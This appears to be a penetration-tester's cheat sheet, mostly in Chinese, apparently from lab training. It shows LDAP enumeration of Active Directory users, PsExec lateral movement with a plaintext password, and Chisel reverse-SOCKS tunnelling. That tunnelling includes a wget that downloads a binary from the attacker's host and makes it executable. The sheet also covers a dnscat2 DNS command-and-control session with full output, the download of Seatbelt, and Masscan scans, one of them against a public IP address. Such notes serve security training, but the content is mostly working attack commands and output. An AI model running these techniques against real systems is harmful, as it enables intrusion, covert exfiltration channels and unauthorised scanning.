PS C:\Users\stephanie> $group = LDAPSearch -LDAPQuery "(&(objectCategory=group)(cn=Customer support*))"
PS C:\Users\stephanie> $group.properties.member
CN=michelle,CN=Users,DC=corp,DC=com
PS C:\Users\stephanie> $answer = LDAPSearch -LDAPQuery "(cn=michelle)"
PS C:\Users\stephanie> $answer.properties

Name                           Value
----                           -----
logoncount                     {0}
codepage                       {0}
objectcategory                 {CN=Person,CN=Schema,CN=Configuration,DC=corp,DC=com}
description                    {OS{xxxxx}}
usnchanged                     {536764}
instancetype                   {4}
name                           {michelle}
badpasswordtime                {0}

【powershell】【橫移】PsExec

 

# 使用帳密連線至另一主機
.\PsExec64.exe -i  \\WEB04 -u corp\jen -p Nexus123! cmd

【Tunneling】Chisel

# kali下載
wget https://github.com/jpillora/chisel/releases/download/v1.8.1/chisel_1.8.1_linux_amd64.gz
gunzip chisel_1.8.1_linux_amd64.gz
mv chisel_1.8.1_linux_amd64 chisel
chmod +x ./chisel
# 或是用apt安裝
apt install chisel -y
# 執行 chisel
./chisel server --port 8080 --reverse


# user server 從kali(192.168.45.224)下載
wget http://192.168.45.224/chisel -O /tmp/chisel && chmod +x /tmp/chisel
# 執行 chisel client
/tmp/chisel client 192.168.45.224:8080 R:socks

# 安裝ncat
atp install ncat

# 使用ProxyCommand 執行 ncat
# %h 和 %p 令牌代表 SSH 命令的主機和port
ssh -o ProxyCommand='ncat --proxy-type socks5 \
--proxy 127.0.0.1:1080 %h %p' database_admin@10.4.194.215

image-1708742124011.png

【Tunneling】dnscat2

 

安裝

# server
sudo apt install dnscat2
# client
sudo apt install dnscat2-client

使用

server - start

# dnscat2-server {domain}
kali@server:~$ dnscat2-server feline.corp
[sudo] password for kali: 7he_C4t_c0ntro11er

New window created: 0
New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 0.0.0.0:53
[domains = feline.corp]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

  ./dnscat --secret=d31d6a9e9d5895f42b823043a70fe3d4 feline.corp

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=d31d6a9e9d5895f42b823043a70fe3d4

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.

dnscat2>

client - connect

# dnscat {domain}
database_admin@client:~/dnscat$ ./dnscat feline.corp
./dnscat feline.corp
Creating DNS driver:
 domain = feline.corp
 host   = 0.0.0.0
 port   = 53
 type   = TXT,CNAME,MX
 server = 127.0.0.53

Encrypted session established! For added security, please verify the server also displays this string:

Gone Nodule Spring Gifts Stirs Foams 

Session established!

server - get connect and linsten

# windows 列出window
dnscat2> windows
0 :: main [active]
  crypto-debug :: Debug window for crypto stuff [*]
  dns1 :: DNS Driver running on 0.0.0.0:53 domains = feline.corp [*]
  1 :: command (pgdatabase01) [encrypted, NOT verified] [*]
# -i 1 建立第一個介面
dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
For added security, please ensure the client displays the same string:

>> Gone Nodule Spring Gifts Stirs Foams
This is a command session!

That means you can enter a dnscat2 command such as
'ping'! For a full list of clients, try 'help'.

# 建立本地 4455 轉發 172.16.201.217:4646
command (pgdatabase01) 1> listen 0.0.0.0:4455 172.16.201.217:4646
Listening on 0.0.0.0:4455, sending connections to 172.16.201.217:4646

 

【Windows】【弱掃】Seatbelt

Seatbelt 是一個 C# 項目,從進攻性和防禦性安全角度執行許多面向安全的主機調查「安全檢查」。

# 下載
wget https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Seatbelt.exe
# 用法
https://github.com/GhostPack/Seatbelt#command-line-usage

【PortScan】Masscan

Masscan是網路大規模的連接埠掃描儀。它可以在5分鐘內掃描整個互聯網,每秒從一台機器上傳輸1000萬個資料包(和掃描者的頻寬有關,掃描速率高容易誤報)

https://github.com/robertdavidgraham/masscan

$ sudo ./masscan MACHINE_IP/24 -p443
$ sudo ./masscan MACHINE_IP/24 -p80,443
$ sudo ./masscan MACHINE_IP/24 -p22-25
$ sudo ./masscan MACHINE_IP/24 ‐‐top-ports 100

$ sudo ./masscan -p80,443,8000-9000 182.92.106.58
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-03-28 06:16:32 GMT 
Initiating SYN Stealth Scan 
Scanning 1 hosts [1003 ports/host] 
Discovered open port 8894/tcp on 182.92.106.58 
Discovered open port 80/tcp on 182.92.106.58 
Discovered open port 8896/tcp on 182.92.106.58 

還是同樣偵測80,443,8000至9000之間的連接埠開放情況,新增參數rate(速度/速率)設定時要考慮自己的頻寬,不是越高越好,太高會出現漏報,頻寬和速率設定參考

rate=1000000 (1M) 
rate=100000 (100K) 
rate=50000 (50K) 
$ sudo ./masscan -p80,443,8000-9000 182.92.106.58 --rate=10000
Starting masscan 1.3.2 (http://bit.ly/14GZzcT) at 2022-03-28 07:00:01 GMT 
Initiating SYN Stealth Scan 
Scanning 1 hosts [1003 ports/host] 
Discovered open port 80/tcp on 182.92.106.58 
Discovered open port 8894/tcp on 182.92.106.58 
Discovered open port 8896/tcp on 182.92.106.58